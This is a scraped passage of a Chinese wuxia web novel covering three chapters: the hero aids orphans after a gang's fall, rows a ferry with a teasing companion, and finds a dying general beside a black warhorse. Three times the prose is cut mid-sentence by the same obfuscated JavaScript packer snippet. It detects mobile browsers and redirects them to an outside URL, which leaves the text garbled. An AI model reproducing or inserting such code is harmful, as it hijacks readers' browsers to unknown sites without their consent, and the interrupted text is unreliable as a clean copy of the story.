“大侠且慢——!” 人群中忽有人高声喊道。 李系挑眉。 这声音…… 只见帮众纷纷让开一条道,一名灰衣汉子大步走了出来。 正是方才在后院埋尸的那人。 此人身形魁梧,头裹灰布巾,身着粗布短褐,虽衣衫简陋,却精神抖擞。浓眉大眼,面容端方,眉宇间隐隐透着一股正气。 他朝李系与裴施无畏抱拳一揖,朗声道:“在下罗河生,是镇龙堂管账的。多谢二位侠士仗义出手,为民除害!” 李系打量着他,问道:“为民除害?你既是镇龙堂中人,何出此言?” 罗河生苦笑一声:“大侠容禀。此言或许苍白,但……镇龙堂的弟兄们,并非个个都是穷凶极恶之徒。” 裴施无畏冷笑道:“少来这招。管你为何落草,匪就是匪,不值得同情!” 李系却顺着罗河生的视线看了过去。 这些帮众的衣着打扮,与风陵渡寻常百姓并无二致,甚至更差。 不仅如此,这些帮众穿的都是最单薄的短褐,脚上草鞋沾满污泥,手中兵器也多是生锈的渔叉、豁口的柴刀,甚至还有人只拿着根木棍。 哪里像什么匪帮,分明就是一群被逼无奈的穷苦百姓。 罗河生骤然被他打断,想开口辩解却又不敢。 裴施无畏没耐心管他:“你干甚么这么看着我?问你们话呢——滚还是不滚?” 他方才连斩董威龙十余名亲信,横刀虽已擦净,周身煞气却仍未散尽,令人不寒而栗。 罗河生被他这股煞气逼得面色一白,连忙躬身道:“是是是,在下这就让弟兄们走!” 说罢,他转身朝那群帮众高声道:“诸位弟兄,董威龙已死,咱们不必再为他卖命了!听见大侠的话没有?快丢下武器,走吧!” 帮众们先是面面相觑,旋即纷纷丢下手中刀枪。 人群中响起一阵躁动,有人茫然道:“俺们……自由了?可咱们的卖身契还在董堂主手里呐……” “对啊,而且不跟着董堂主……俺们还能去哪儿?” “是啊,是啊……” 裴施无畏见他们已无战意,也无意再杀戮,便收刀归鞘。 他转身拍了拍李系的肩膀,轻快道:“镇龙堂恶首伏诛,恩怨已了。接下来该去寻我的船了——走吧,华洛兄。” 李系却未挪步。 他的目光投向正堂深处。 不知那张家兄妹如何了。 董威龙屠尽张家满门,只留这一双兄妹。如今董威龙虽死,可这乱世之中,两个半大孩子无依无靠,又该何去何从? 想到此处,他侧首道:“裴兄,且稍等我片刻。” 裴施无畏在他目光投向正堂时便已察觉他的心思,闻言挑了挑眉:“怎么,担心那对兄妹?” 李系点头:“他们年幼无依,我有些放心不下。” 裴施无畏撇了撇嘴,“这年头,流离失所之人多了去了。况且那兄妹俩瞧着不大,但也不小,差不多是该学着自己讨生活的年纪了,管他们作甚?除非——你认识他们” 李兄摇头:“素昧平生。” 裴施无畏面上浮起一丝不解,眼底却略过一抹意味不明的光:“华洛兄不是要往凉州去、投奔龙武军大帅么?你自己尚且前路未卜,何苦费心去管两个萍水相逢之人?” 李系神色坦然:“这不一样。我有武艺傍身,尚能自保,可他们年纪尚幼,还是未成年人。身为成年人,我理应护他们周全。” 裴施无畏歪头,琥珀色的眼眸里闪过一丝兴味:“……未成年人、成年人?” 他咂摸着这个新鲜的词,似是头一回听闻这般说法,“有意思。” 李系不欲多作解释,只道:“裴兄,船就泊在渡口,跑不了的。你且等我片刻,可好?” 裴施无畏眯起眼,忽而勾唇一笑。 他双手环胸,扬起下巴,朝李系挑眉道:“你若肯唤我一声‘狮郎’,我便依你。” 李系:……………… bur,兄弟。 这人究竟为何非要他唤小名? 他们才认识不到一天吧! 李系被他这副无赖做派弄得哭笑不得,末了只得叹了口气,认命道:“好——狮郎。” 嗓音清冽,尾音却不自觉地软了几分。 “你且等我片刻,让我安顿好那对兄妹,可好?” 裴施无畏如愿听见那两个字,眸光倏然一亮。 他勾起唇角,笑意直达眼底,周身煞气竟散了个干净,整个人都熨帖起来。 真好听。 他想。 自己的小名,当真是好听得紧。 李系将长枪背回身后,正欲转身往内堂走去,一道稚嫩的嗓音便从正堂内传了出来。 “恩、恩人大侠!” 张谨搀扶着一瘸一拐的妹妹走出正堂,冲李系喊道。 二人面色苍白,眼中余惊未消。 李系注意到张灵身上带伤,大步迎上前去,半蹲下身,温声道:“你们可还好?” 张谨抬眼望向他,目中满是感激与崇拜,却很快又垂下眼帘,尽力平复着语气:“我……我没事,倒是灵儿她受伤了……” 李系颔首,目光落在小姑娘身上。 张灵额头磕破了一块,血流了半边脸,面色惨白,却仍倔强地咬着唇,强撑着不哭。 李系从背包里取出一只瓷瓶和几条干净的布带,半蹲下身,柔声道:“姑娘额上有伤,我这里有止血的药粉,替你包扎一下,可好?” 张灵抬眼望着他,怔了一瞬,旋即点了点头,水灵灵的猫眼里满是信任。 李系解下腰间水囊,将布带沾湿,轻轻拭去她额上的血迹,再敷上药粉,仔细包扎妥当。 手法娴熟,动作轻柔。 李系第一世弃笔从戎,后常年行伍,故而对包扎伤口之事驾轻就熟。 裴施无畏在一旁瞧着,眸光微闪,若有所思。 包扎妥当后,李系将瓷瓶递给女孩,叮嘱道:“药粉一日一换, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381103|200182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤口切莫沾水。” 张灵认真点头,猫眼亮晶晶的,满是感激。 李系微微一笑,起身站定。 “恩、恩公!” 一旁的张谨忽然开了口。 少年望着李系,目光却不敢久驻,只在那张清俊的面容上停留一瞬,便如受惊的雀鸟般匆匆移开。 白皙的脸颊悄然染上一抹薄红,从颧骨一路蔓延至耳根。 李系不知他心中所想,只当是方才受了惊吓,便放柔了声音:“张公子,怎么了?” 张谨垂下眼帘,纤长的睫羽微微颤动,双手不自觉地攥紧了衣角:“多、多谢恩公救了我和灵儿……” 他顿了顿,似是鼓起了莫大的勇气,才敢再度抬眸,飞快地觑了李系一眼,“不知恩公名讳是、是……张谨日后定衔环结草,以报今日救命之恩!” 张灵也郑重道:“大侠,多谢你们杀了董威龙和他作威作福的恶棍手下,替我张家报此灭门之仇!我愿将张家祖传遗宝的所在告知于你,聊表谢意!” 李系微微一笑,温声道:“在下李华洛。至于报恩……我救你们不图回报,你们平安便好。” 张谨听见他的名字后,心头微颤。 李华洛,李氏华洛。 有些耳熟,莫非恩公是华中洛水一带人氏? 他在心中默默念了一遍,觉得这名字说不出的好听,念在唇齿之间,竟有清风朗月之感。 恩公方才从天而降、一枪挑断他身上绳索的模样,此刻仍在眼前挥之不去。那道挺拔的身影如天神降世,将他从无边的恐惧与屈辱中拯救出来。 他从未见过这样的人。 枪出如龙,杀伐果决如猛将,可那双凤眸望向他时,却又这般温和沉静,带着几分说不清的儒雅与包容。 张谨不自觉地又看了李系一眼,心跳得有些快。 他垂下头,将那点莫名的情绪压入心底,不敢再多想。 李系不知他心里的千回百转。他看着这对兄妹,感叹张家已被董威龙灭门,如今只余这一双孩子相依为命,前途未卜。 真是造孽。 于是又问道:“董威龙已死,你二人往后有何打算?” 张谨与张灵对视一眼,皆是茫然。 片刻后,张谨眼中浮起一丝期待,小心翼翼地试探道:“我们兄妹家人俱亡,无处可去,不知恩公……” 他顿了顿,鼓起勇气问道:“恩公家住何处?可否……” 话未说完,一道人影忽然横插进来。 “啧。” 裴施无畏不知何时跨步走来,手肘往李系肩上一搭,将人半揽入怀,一副与他极为相熟的模样。 “他和我一样,都是游侠,四海为家,居无定所。”他懒洋洋地开口,语气里透着几分不耐,一副哥俩好的样子,“我们还要赶路去河西凉州,投奔龙武军大帅呢。” 言下之意:没空带你们。 张谨面色微僵,期待的神情黯淡下去。 李系有些诧异地侧头看向裴施无畏。 裴施无畏迎上他的目光,凑近了些,压低声音道:“华洛兄,我可把丑话说在前头——” 那双狼眸微微眯起,琥珀色的眼瞳里闪着赤裸裸的威胁。 “你若非要带着这俩拖油瓶上路,那咱们就此分道扬镳,往后各走各的。” 说罢,他还嫌弃地皱了皱鼻子:“我才不带拖油瓶,麻烦死了,伺候不来。” 李系:…… 兄弟,你想多了。 他又不是那俩孩子的爹,带他们作甚。 他只是想确认他们往后有个着落罢了。 这时,罗河生安抚镇龙堂帮众的声音从身后传来—— “兄弟们,莫慌!卖身契藏在何处,我清楚;董威龙的银钱在哪儿,我也知道。我愿替大伙取出契书,当众销毁,再将银钱平分。” “眼下铁勒南侵,中原大乱。我知中条山里有处山寨,易守难攻。大伙若愿信我,且随我入山避祸,我罗河生必不负诸位!” 7. 渡河 天蒙蒙亮,黄河上,一艘平底渡船顺流而下。 河水拍打着船帮,船身两侧挂着的旧皮筏与草把子随波晃荡,发出哗哗的水声。 “裴兄,还在生气?” 李系喂完马,拍了拍手上的草屑,起身走到船舷边。 裴施无畏正扶着船舷,板着一张脸,望着滔滔河水,也不知在想什么。 李系在他身侧站定,有些无奈。 不就是昨夜先顾着和罗河生交代事宜、又忙着安顿张家兄妹,没能第一时间帮他寻船么,至于到现在还置气? 昨日裴施无畏扬言若带上那兄妹二人同行便分道扬镳后,张谨便主动提出要随罗河生去中条山。 罗河生本就是镇龙堂里为数不多对张家兄妹好的人,这些年冒着触怒董威龙的风险暗中照拂他们,兄妹二人对他颇为信任。况且此人敦厚正直,身上有些拳脚功夫,又颇有人望,镇龙堂散伙后的帮众大多愿意追随他,张家兄妹跟着他倒是个妥当的去处。 李系见罗河生是个有领导潜质的可造之材,便赞助了他一笔银钱、若干药物,以及一批家园中产出的优良作物种子,权当做善事。 对此,裴施无畏笑他是“佛心菩萨面的散财童子”。 事情定下后,罗河生又帮他们寻回了裴施无畏的船。他本来还想去库房将董威龙扣下的银钱一并取来归还,却被裴施无畏挥手拦住,说他不差那几个钱,只要船便够了,旁的他们自己留着,说完便迫不及待地登了船。 李系本以为他该高兴才是,谁知这人上船之后便是这副模样,一路上都板着张脸,也不搭理人。 李系侧头去看他的脸,试探着唤了一声:“裴兄?” 裴施无畏侧眸睨了他一眼,又将目光移回河面,面色依旧紧绷。 李系愈发纳闷了。 不会吧,还在生气? 他到底在气什么啊? 正困惑着,裴施无畏忽然开口:“我没生气。” 李系更奇了:“没生气?那你为何板着脸,也不理我?” 裴施无畏沉默片刻。 他扶着船舷的手指微微收紧,指节都有些泛白。 就在李系以为他要把船舷徒手捏碎时,他终于缓缓吐出一句话:“我们……没有船夫。” 李系愣住了。 他下意识看向船尾舵桨的位置。 空空如也。 他又回头看了看。 河水湍急,他们已经行至河中,看不到岸了。 李系沉默了。 他缓缓走到裴施无畏身侧,双手撑在船舷上,与他并肩而立。 二人一同眺望滔滔河水,神色凝重,气氛微妙。 良久,李系开口:“所以……裴兄原本打算如何渡河?” 裴施无畏抿了抿唇,声音有些发虚:“……我本是委托浪惊天摆渡。” 他顿了顿。 “但我忘了,他死了。” 二人沉默。 死人,是不会来上工的。 河风呼呼地吹,吹得船帆猎猎作响。 渡船载着两个不会撑船的江湖客和一匹大白马,在黄河上随波漂流。 良久,风里传来一声轻叹。 李系走到船尾,抓起搁在一旁的船桨,撸起袖子,开始划船。 裴施无畏眼睛一亮:“华洛兄,你会划船?” 李系头也不抬:“不会。” 裴施无畏一愣:“那你划什么?” 李系白了他一眼:“那不然咱们就这么一直漂着?” 他看了眼眼下还算平稳的河面,神色微凝:“黄河水流湍急,不同河段多有暗礁。倘若运气不好撞上,别说渡河了,这船当场就得沉。” “我虽不会摆渡,但好歹长于伊水河畔,没吃过猪肉也见过猪跑。”说着,他手臂用力,开始摇桨,“死马当活马医,总比落水喂鱼强。” 而且他的莎莎还在船上呢! 况且,他的莎莎还在船上呢。 他深吸一口气,手臂发力,划得愈发卖力。 为了莎莎,不会也得会,不行也得行! 水流渐渐湍急,船身开始颠簸,李系划得越发吃力。 日头渐高,秋阳炙烤着甲板,晒得人浑身燥热。 汗水顺着额角滑落,李系只觉闷热难当,索性解下椿山漫的红色外袍,耷在腰间,只余一身霜白里衣。 白色的衣料被汗水浸透,紧紧贴在他身上,将那具精壮的躯体勾勒得一览无余:胸肌发达如丘峰,两点茱萸蒙着湿透的里衣,若隐若现。腰腹紧实,八块腹肌随着摇桨的动作收缩起伏,腰侧的人鱼线顺着胯骨没入裤腰,引人遐想。 李系虽有内力傍身,但终究独力难支,渐渐感到体力不济。 就在这时,一股酒香从船舱方向飘来。 是上好的梨花白。 李系抬头望去。 只见裴施无畏正倚在船舷边,手执玉杯,悠然自得地小酌,嘴里还哼着不知名的河西小调,一边赏着两岸风光,好不惬意。 李系:…… 尼玛啊! 他在这里累死累活地划船,连口水都没喝上,那边那厮竟然品起小酒、哼起小曲了? 他还是不是人啊?! “喂!”李系朝他喊道,“你在作甚?” 裴施无畏晃着酒杯的手一顿,回头看他:“喝酒啊。” 语气理所当然。 李系气不打一处来:“你就这么看着我划?” 裴施无畏反问:“不然呢?” 李系只觉一股无名火从胸口直冲脑门:“你就不能来搭把手?” 裴施无畏一脸无辜:“我又不会划船,如何帮?” 他想了想,又取出一只玉杯,给李系也斟了一盏,殷勤递来:“华洛兄,喝酒?” 李系痛苦熊猫头。 大兄弟,你是故意逗我的吧? 然而裴施无畏眼神清亮,分明是认真的。 李系明白了。 这位爷恐怕打小锦衣玉食,出门有侍从随行,进门有下人伺候,撑船摇橹这等粗活,怕是连见都没见过几回,遑论亲自上手。 他无奈地叹了口气。 这到底是哪家的金贵公子跑出来闯江湖。 但很快,他又坐直身体,神色微凛。 管他是哪家的,他与他非亲非故,更非雇佣关系,纯西行路上的搭子罢了。 而且要说钱,他李系可比他多得多,要说武力,他们俩也是势均力敌。 既然同在一条船上,便没有自己出力、他在一旁当少爷的道理。 李系抬眸,朝他扬了扬下巴:“不喝,你过来。” 给老子过来干活! 裴施无畏端着酒杯的手一顿。 他小心翼翼地觑了李系一眼,声音里带上几分试探:“……你要作甚?” 李系微微一笑,又重复了一遍:“过来。” 语气温和,神态从容,偏偏叫人后背发凉。 裴施无畏盯着那张脸,忽然生出一股莫名的心虚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381104|200182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就像是回到了幼时捣蛋被阿娘抓个正着,即将挨打的时候。 他自然知道李系想让他也来划船出力。 但问题是,他不想划,他想偷懒。 然触及李系那双酷似阿娘的瑞凤眼,眸光柔中带刚,一般无二,他心头莫名一颤。 最终,裴施无畏还是不情不愿地放下酒杯,挪了过去。 见他老实了,李系眉头微松,总算舒坦了些。 然而他还没来得及吩咐下一步,身后忽地一沉。 一道炽热的胸膛贴了上来。 李系浑身一僵。 裴施无畏的身量本就比他宽阔些,此刻整个人从背后覆来,宽肩阔背将他整个拢在怀中,严丝合缝,不留半分空隙。 修长有力的双臂掠过他的手臂,环住他的身子,两只手不由分说地覆上他握桨的手背。 肤色稍深的手盖在白如羊脂玉的手上,掌心滚烫,指节分明。 “你干嘛?!”李系被吓得差点从船上原地起飞。 他下意识就想肘飞裴施无畏,然而裴施无畏力大,一手压住他的手腕,一手扣住他的手背,竟生生将他箍在原处。 “干嘛?”裴施无畏的声音自头顶传来,低沉慵懒,带着几分理所当然的散漫和逗弄,“不是给你搭把手吗?” 说罢,覆在李系手背上的手还故意收紧了些。 真·搭把手。 他的气息喷洒在李系耳廓,温热湿润。 裴施无畏的胸膛随着呼吸微微起伏,那频率透过薄薄的衣料,一下一下,清晰地撞在他背上。 檀香、梨花白的酒气、以及一股说不清道不明的雄性气息,霸道地侵入鼻端。 李系后颈的汗毛根根竖起。 太近了。 近到他甚至能感觉到对方心口的跳动,沉稳有力,仿佛擂鼓。 李系脑中警铃大作,内心发出尖叫鸡般的爆鸣。 太给了! 滚啊! 他不是给啊!! “裴施无畏!”李系嗓音微哑,咬牙切齿道,“放、开!” 裴施无畏非但没放,反而将下巴抵在他肩头,凑得更近了些,语气无辜又无赖:“不放。不是你让我来搭手的么?” 他说话时嘴唇几乎擦过李系的耳廓,惹得那一小片皮肤倏然发麻。 忍无可忍,无须再忍。 李系内力骤然流转,震开他的手,接着反手扣住他的腕子,给了他一个过肩摔。 然而裴施无畏像匹灵活的狼,被掼飞的瞬间竟在半空中生生扭转身形,双足稳稳落地。 他非但没恼,反而来了兴致,眸中跃动着兴奋的光,跃跃欲试道:“嘿,华洛兄,你先动的手,可别怪我不客气了!” 二人便在这一叶渡舟上你来我往地搏了起来。 拳风呼啸,掌影翻飞,船身剧烈摇晃,惊起两岸水鸟扑棱棱飞起一片。 卧在船头的里飞沙掀了掀眼皮,继续嚼着皇竹草。 最后还是裴施无畏技高一筹。 他欺身而上,双臂如铁箍般锁住李系,将人死死箍在怀里,动弹不得。 “你这个浪荡子!”李系拼命挣动,“放开我!” 裴施无畏低头,看着怀中人那双泛着水光的瑞凤眼和红透的耳尖,不由挑了挑眉,语气里带上几分真切的困惑:“华洛兄,你怎的如此……扭捏?” 他歪了歪头,狼眸里闪过一丝不解:“简直跟那深闺里的大姑娘似的。” “难不成,你真是个姑娘?” 8. 河畔骏马 “难不成,你真是个姑娘?” 这话一出,李系气得直接一个头槌撞他脑门上。 裴施无畏被撞得猝不及防,顿时眼冒金星,箍着人的双臂也松开了。 李系趁机挣脱,反手揪住他单衣的衣襟,一把将人抡飞出去。 裴施无畏整个人倒栽在船舱前头,砸得船身一晃,发出“咚”的一声闷响。 “哼。”李系冷冷剜了他一眼,拂袖转身,重新拾起船桨。 浪荡子。 臭流氓。 不就是不想划船、想当少爷吗? 不划就不划,他不划,他划! 就当是为了自己和莎莎。 等上了岸,他便骑着莎莎自去凉州。这位少爷爱怎么着便怎么着,反正又不是只有他一人能当向导。 当他李某人稀罕这西行搭子似的! 船桨入水,哗啦,哗啦。 溅起的水花带着几分划桨人的怒气,杀气腾腾。 “哎哟……”裴施无畏慢吞吞地坐起身,揉着额头上迅速鼓起的包,龇牙咧嘴:“华洛兄,你这下手……也忒狠了些……” 李系充耳不闻,冷着一张脸,一下一下地划桨。 桨叶破水的频率又快又急,像是恨不得要将这河水劈开两半。 裴施无畏望着那道绷得笔直的背影,心里“咯噔”一声。 完了。 做过火了。 他缩了缩脖子,悄悄爬起身来,狗狗祟祟地凑过去,放轻了声音试探道:“华洛兄……你、你生气了?” 李系不鸟他。 坏了,真生气了。 裴施无畏喉间溢出一声极轻的呜咽,那双狼眸褪去了平日的锋芒,变得又圆又软,像只做错事后耷拉着耳朵的大狗。 “对不起……我方才不是故意的……”他小心翼翼地挪近些,伸出手,捏住李系的衣角,轻轻摇了摇。 动作讨好,姿态卑微,哪里还有半分方才那个嚣张跋扈的红衣郎君的模样。 李系心烦意乱地挥了挥手:“一边儿去。不愿帮忙也别来帮倒忙。” 裴施无畏见他像赶苍蝇似的挥手,攥着衣角的指节一僵,瞳孔微微震颤。 若换做旁人敢这般对他,即便是他有错在先,也早一刀劈了过去。 可此刻,他非但不觉得被冒犯,反而生出一股莫名的慌。 他竟然怕李系真的不理他,然后和他分道扬镳。 真是奇怪。 他们分明只认识了不到三天。 裴施无畏抿了抿唇,幽幽地望着那道不肯回头的背影,心底生出一丝委屈。 他裴啸之什么身份? 凉州裴氏,世镇河西,掌漠北五十万戍边龙武军,震慑西域群戎。说一句河西土皇帝,也不为过。 他自幼只需读书习武、领兵打仗,何曾屈尊降贵做过这等粗活? 况且他本就不会划船。承认自己不会,已是够没面子了,难道还要他再出丑一回,来印证自己无能不成? 而且…… 他悄悄瞥了一眼李系。 虽说听闻中原男子面皮薄,可谁知竟薄成这样,碰都碰不得! 不就是贴近了些么,至于反应这么大? 华洛兄虽然身材好,手感也好,但他们同为男子,又不存在什么授受不清。 裴施无畏腹诽着,目光却不由自主地落在李系如冷玉雕琢的侧颜上。 眉峰似剑,眼尾微挑,鼻梁高挺,薄唇轻抿。 即便是在生气,那张脸也好看得紧。 裴施无畏心口莫名漏跳了一拍。 ……好吧。 是他想偷懒故意耍赖,有错在先。 面子虽重要,可同道之人少有,而势均力敌的知己,更是可遇不可求。 他长这么大,头一回遇见这般惊艳之人。 若能得此一友,还有什么放不下的? 罢了,且哄哄他。 裴施无畏向来是个想到便做的性子。 他起身绕到李系身前,正了正神色,认认真真地长揖一礼,语气诚恳:“适才言行孟浪,多有冒犯,是裴某失礼了。还望李兄海涵。” 说罢,他直起身,却不敢直视李系的眼睛,只用那双狼眸悄悄地觑着他的神色。 李系看着他这副狗萌狗萌的模样,又看了看他那张年轻的面容,心头的火气不由散了几分。 其实仔细想想,方才他的反应,确实是过激了些。 毕竟上辈子念大学时,男生宿舍里群孙汇聚,战作一团简直再正常不过了。 而这位裴郎君,看面相不过二十出头,正是清蠢男大的年纪。 自己确实不该用32x2岁的老侠士标准,去要求一个野马男大。 裴施无畏见他神色有所松动,眼睛顿时一亮,连忙趁热打铁:“我帮你划船!你教教我,然后我来替你!” 说着,他转身便往船舱里跑,翻出水囊,倒了杯水,殷勤地双手捧到李系面前:“你若是嫌我笨手笨脚,那我便给你捶背捏肩、端茶倒水!” 那模样,活脱脱一只摇着尾巴求原谅的大狼狗。 李系瞧着他这傻乎乎的殷勤劲儿,终于没忍住,嘴角微微扬起。 裴施无畏眼尖,立刻捕捉到了那一丝笑意,狼眸倏然睁大,整个人都亮了起来:“华洛兄,你笑了!你不恼我了!” 李系似嗔似怨地睨了他一眼:“裴大公子爷,我哪敢恼你。” 他单手接过水,将船桨递了过去:“你来替我罢。放心,我不笑话你。” 裴施无畏有些紧张地接过船桨,握在手里,竟不知该如何下手。 李系便放缓了语调,一点一点教他:桨叶入水的角度、发力的时机、借水势回桨的窍门。 声音温和,语气耐心,全然不似方才那副冷脸模样。 裴施无畏本就聪颖,又是习武之人,身体协调性极佳。不过片刻,便已摸到了门道,一桨一桨,划得似模似样。 “狮郎真棒。”李系一边饮水润嗓,一边含笑夸道,“瞧,这不是一点也不难么。” 裴施无畏抿着唇,没吭声。 但那嘴角却不受控制地一点点翘了起来,怎么压都压不下去。 若此刻他身后有条尾巴,那尾巴怕是早就摇到天上去了。 里飞沙看了眼船尾打得火热的二人,甩了甩尾巴,收回目光继续慢慢嚼着它的皇竹草。 真香。 * 日沉西山,晚霞如绮。 河面浮光跃金,数只白鹭掠水而过,没入芦苇深处。 二人轮流替换,虽然似乎进了旁的河道里漂了好远,但总算有惊无险地将船摆渡至岸。 “总算到了。” 裴施无畏长舒一口气,背起行囊,自船舷一跃而下。 哗啦一声,浅水没踝,他趟着水大步往岸上走,靴底踩得泥沙四溅。 船上,李系不紧不慢地走到里飞沙身侧,轻拍马颈。 里飞沙会意,起身抖了抖鬃毛。 李系翻身上马,轻夹马腹。白马长腿一迈,自船头跃至浅滩,四蹄轻点,踏水如踏平地,稳稳行上河岸。 裴施无畏回首,恰好望见这一幕。 斜阳漫天,霞光万丈。 白衣策白马,自金波粼粼的河面踏浪而来,衣袂翻飞,恍若谪仙临尘。 他不由怔了一瞬。 李系勒马停在他身侧,翻身下马。 裴施无畏这才回过神来,低头瞧了瞧自己湿透的裤腿与沾满泥沙的靴子,再看看李系干干净净的袍角,顿时目瞪口呆:“什么?还能如此?” 这马竟灵性至此,能载人从船上一跃而下,还不惊不躁? 他面色幽怨,望向李系:“早知莎莎如此神骏,方才便该央华洛兄捎我一程。” 李系微微一笑:“下次一定。” 裴施无畏眼神更幽怨了。 李系不再理会他,将里飞沙留在原地,趁裴施无畏蹲下身处理靴上泥沙时,独自拨开芦苇丛,往前探去。 才走出几步,他的脚步便是一顿。 空气中弥漫着一股腥臭。 是血放久了、开始腐败的气味。 他抬眸远望。 远方冒着黑烟,似战火燃后的余烬。 李系神色一凛,继续前行。 越往前走,芦苇荡旁的溪水便越浑浊,水面漂浮着暗红色的血沫。再往前几步,溪底开始出现折断的箭矢、卷刃的兵戈。 这里不久前发生过一场厮杀。 李系放轻脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381105|200182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步,凝神细听。 风声,水声,芦苇沙沙作响。 没有人声。 李系心下稍松。 没有人便好。乱世之中,若是撞上过境的军队,无论哪方,多半都不会善了。 “华洛兄——” 身后传来裴施无畏的声音。 应当是裴大公子梳完毛了。 李系转身返回,去和裴施无畏会和。 李系转身折返,拨开芦苇,果见裴施无畏已收拾妥当。 殷红单衣外披,内衬加了件干净的白色中衣,肩上还搭了件黑毛披风。下身则是黑色劲装裤配军靴,利落干练,总算有了几分行走江湖的样子。 李系目光下移,落在地上那堆被随意丢弃的衣物上,不由微微蹙眉:“裴兄,你直接把湿了的衣裳鞋袜都扔了?” 裴施无畏点头,神色颇为自得:“不错,正好减轻行囊。” 李系看了眼他肩上那只明显瘪了一圈的包袱,嘴角微抽。 行吧。 只是…… 他走上前,蹲下身,细细打量那堆被丢弃的衣物。 染了泥的红色单衣,看似寻常染色棉麻,实则是上等的高昌细叠——比丝绸吸汗,比麻布保暖,柔软贴肤,潜行时更是悄无声息。 生鹿皮行裤,以极特殊的工艺鞣制,防磨防刺,穿在身上便如多了一层软甲。 还有那双六合靴,沙鱼皮所制,无论是大漠流沙还是雨后青石,抓地极稳,便是踩在血泊中也不打滑。 李系眼角抽了抽。 他第一世带兵时穷得叮当响,这等好东西,只在朝廷那些大人物身上见过。 而这位裴大公子,说扔就扔了。 暴殄天物。 简直暴殄天物啊! “华洛兄?你在那儿磨蹭什么,快走啊!” 裴施无畏已跑出数丈远,正在芦苇丛中朝他挥手。 李系垂眸,看着地上那堆装备,沉默片刻。 然后面不改色地将衣物鞋靴尽数收入背包。 有装备不捡,王八蛋。 这么好的东西,他不要,他要。 地上的东西瞬间消失,出现在系统背包里。 他瞥了眼数值:三件紫装。 虽比不上他身上这套,但也算难得的好货。 先收着,日后或有用处。 捡完装备后,李系起身快步追了上去。 裴施无畏显然也察觉到了空气中弥漫的血腥气,神色较方才谨慎了许多。 二人一马在芦苇荡中小心前行,脚步放得极轻。 忽然,走在前头的裴施无畏骤然停住。 他扒开芦苇的手僵在半空,整个人像被定住了一般,一动不动。 李系心中一凛,以为前方有埋伏,当即快步上前。 然后,他也愣住了。 芦苇荡尽头,是一片开阔的河滩。 河滩之上,尸山如丘。 残肢断臂横陈,血肉模糊,层层叠叠堆了足有一人多高。血水自尸堆底部渗出,汇成暗红的溪流,蜿蜒淌入河中,将浅滩染成一片触目惊心的赤色。 苍蝇嗡嗡盘旋,腐臭扑鼻,令人作呕。 破碎的“晋”字旌旗歪斜地插在尸山顶端,残布被河风吹得猎猎作响。 尸山之前,一道身影孤独地坐在那里。 老将身披残破的玄铁重甲,须发如霜,满面沟壑。一杆断枪自腹部贯穿而入,枪尖自后背透出,深深钉入身后泥土,将他整个人支撑在那里。 即便重伤至此,他背脊依旧挺得笔直,端坐如山。 他的身侧,站着一匹马。 那是一匹通体漆黑的骏马。 四蹄如墨,皮毛如缎,肌骨雄健,筋腱虬结。唯有额间一点白斑,如夜空坠雪。 即便周遭尸横遍野、血流成河,它依然昂首而立,不离主人半步。 鬃毛被河风吹起,如同一面漆黑的战旗。 听闻动静,黑马猛然抬首。 一双漆黑的眸子直直望来,带着浓重的警告。 它打了个响鼻,喷出两道白气,前蹄重重刨地,沙石飞溅。 李系不敢妄动,按住了腰间长枪。 就在此时,地上的老将缓缓掀起了眼皮。 9. 不入长安 尸山前的老将缓缓掀起眼皮,浑浊的目光扫过来人,停顿片刻,嘴角微微一扯。 “竟是……两个小子。” 他“嗬”“嗬”地喘着粗气,胸膛起伏得厉害,分明是出气多、进气少的将死之相。 “前辈——”李系下意识上前一步,想要施以援手。 裴施无畏却伸手拦住了他。 李系侧目,却见裴施无畏神色沉凝,微微摇了摇头。 他顺着裴施无畏的目光望去,这才看清那杆断枪贯穿的位置——自小腹刺入,穿透后腰,几乎将人钉成两截。 这等伤势,便是大罗金仙也救不回来了。 “老夫戎马半生……如今终于到头了。” 老将桀然一笑,艰难地转动眼珠,望向身侧那匹黑马。 黑马察觉到主人的注视,躁动地刨了刨蹄子,发出一声低沉的嘶鸣,焦灼而哀切。 他混浊的眸中泛起一丝柔色。 “小子……”他看向站在前面的裴施无畏,声音愈发微弱,气若游丝,“你若能……驯服夜戴星……它便归你了。” 他顿了顿,喉间涌出一声嘶哑的轻笑:“当然……若你敢的话。” “的卢……戴星……妨主厄运……” 他费力地抬起枯瘦的手,颤巍巍地伸向黑马。 黑马垂下头,将脸颊贴上他的掌心,不再躁动。 “然你……不过一畜生尔……”老将轻声道,“如何……当得如此骂名……” 河风掠过,吹动他花白的须发。 